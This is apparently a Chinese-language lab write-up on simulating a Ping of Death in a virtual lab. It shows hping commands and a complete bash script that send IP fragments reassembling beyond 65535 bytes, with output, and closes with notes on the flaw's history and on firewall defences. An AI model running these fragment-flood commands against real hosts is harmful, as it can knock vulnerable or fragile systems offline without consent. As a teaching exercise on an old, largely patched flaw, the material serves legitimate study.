需求描述
使用hping構造IP分片,模擬實現死亡之Ping
環境搭建
使用VMWare和Dynamips。
實現思路
構造重裝后大於65535字節的IP分片
hping 192.168.1.1 -1 -x -d 1400 -N 100 -c 1 for ((i=1;i<50;i++)) do j=`expr $i \* 1408` hping 192.168.1.1 -1 -x -d 1400 -g $j -N 100 -c 1 done hping 192.168.1.1 -1 -d 1000 -g 70400 -N 100 -c 1 |
實驗實施
1. 在PC2上安裝Hping源碼包
[root@localhost ~]# tar zxf hping2.0.0-rc3.tar.gz [root@localhost ~]# ls anaconda-ks.cfg Desktop hping2.0.0-rc3.tar.gz hping2-rc3 install.log install.log.syslog [root@localhost ~]# mv hping2-rc3/ hping [root@localhost ~]# cd hping [root@localhost hping]# ./configure [root@localhost hping]# make && make install |
2. 在Web主機上定位Sniffer上定義過濾器用來抓包
3. 在PC2上用ping命令發送在和大小為70000的ICMP包
[root@localhost ~]# ping 192.168.1.1 -s 70000 -c 1 Error: packet size 70000 is too large. Maximum is 65507 ##系統報錯:允許發送的ICMP包的子啊和最大為65507. |
4. 用hping命令,發送數據為7000的ICMP包
[root@localhost ~]# hping 192.168.1.1 -1 -d 70000 -c 1 HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 4464 data bytes len=1500 ip=192.168.1.1 ttl=127 DF id=57 icmp_seq=0 rtt=39.8 ms --- 192.168.1.1 hping statistic --- 1 packets tramitted, 1 packets received, 0% packet loss round-trip min/avg/max = 39.8/39.8/39.8 ms ##可以看到,只截取了4464字節的數據 |
5. 在Web服務器上啟用sniffer抓包
6. 在PC2上編輯一個腳本,先發送兩個小IP分片測試
[root@localhost ~]# vim pingcs.sh [root@localhost ~]# more pingcs.sh #!/bin/bash hping 192.168.1.1 -1 -x -d 800 -N 100 -c 1 hping 192.168.1.1 -1 -d 200 -g 808 -N 100 -c 1 [root@localhost ~]# chmod +x pingcs.sh [root@localhost ~]# ./pingcs.sh HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 800 data bytes --- 192.168.1.1 hping statistic --- 1 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 200 data bytes --- 192.168.1.1 hping statistic --- 1 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms |
7. 在Web主機上查看抓到的IP分片
8. 在PC2上發送重裝后大於65535字節的IP分片
[root@localhost ~]# vim pingofdeath.sh [root@localhost ~]# more pingofdeath.sh #!/bin/bash hping 192.168.1.1 -1 -x -d 1400 -N 100 -c 1 for ((i=1;i<50;i++)) do j=`expr $i \* 1408` hping 192.168.1.1 -1 -x -d 1400 -g $j -N 100 -c 1 done hping 192.168.1.1 -1 -d 1000 -g 70400 -N 100 -c 1 [root@localhost ~]# chmod +x pingofdeath.sh [root@localhost ~]# ./pingofdeath.sh --- 192.168.1.1 hping statistic --- 1 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms … |
9. 在Web主機上啟用sniffer抓包,可以看到很多IP分片,從中找到offset=64768的包
補充:
死亡之Ping(ping of death)
對目標IP不停地Ping探測從而致使目標主機網絡癱瘓。常見工具有蝸牛炸彈、AhBomb等。
由於在早期的階段,路由器對包的最大尺寸都有限制,許多操作系統對TCP/IP棧的實現在ICMP包上都是規定64KB,並且在對包的標題頭進行讀取之后,要根據該標題頭里包含的信息來為有效載荷生成緩沖區,當產生畸形的,聲稱自己的尺寸超過ICMP上限的包也就是加載的尺寸超過64K上限時,就會出現內存分配錯誤,導致TCP/IP堆棧崩潰,致使接受方死機。
防御:現在所有的標准TCP/IP實現都已實現對付超大尺寸的包,並且大多數防火牆能夠自動過濾這些攻擊,包括:從windows 98之后的windows NT(service pack 3之后),Solaris、和Mac OS都具有抵抗一般ping of death攻擊的能力。此外,對防火牆進行配置,阻斷ICMP以及任何未知協議,都講防止此類攻擊。
ping -t -l 65500 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
至此、實驗完畢!
附上hping下載地址:https://github.com/antirez/hping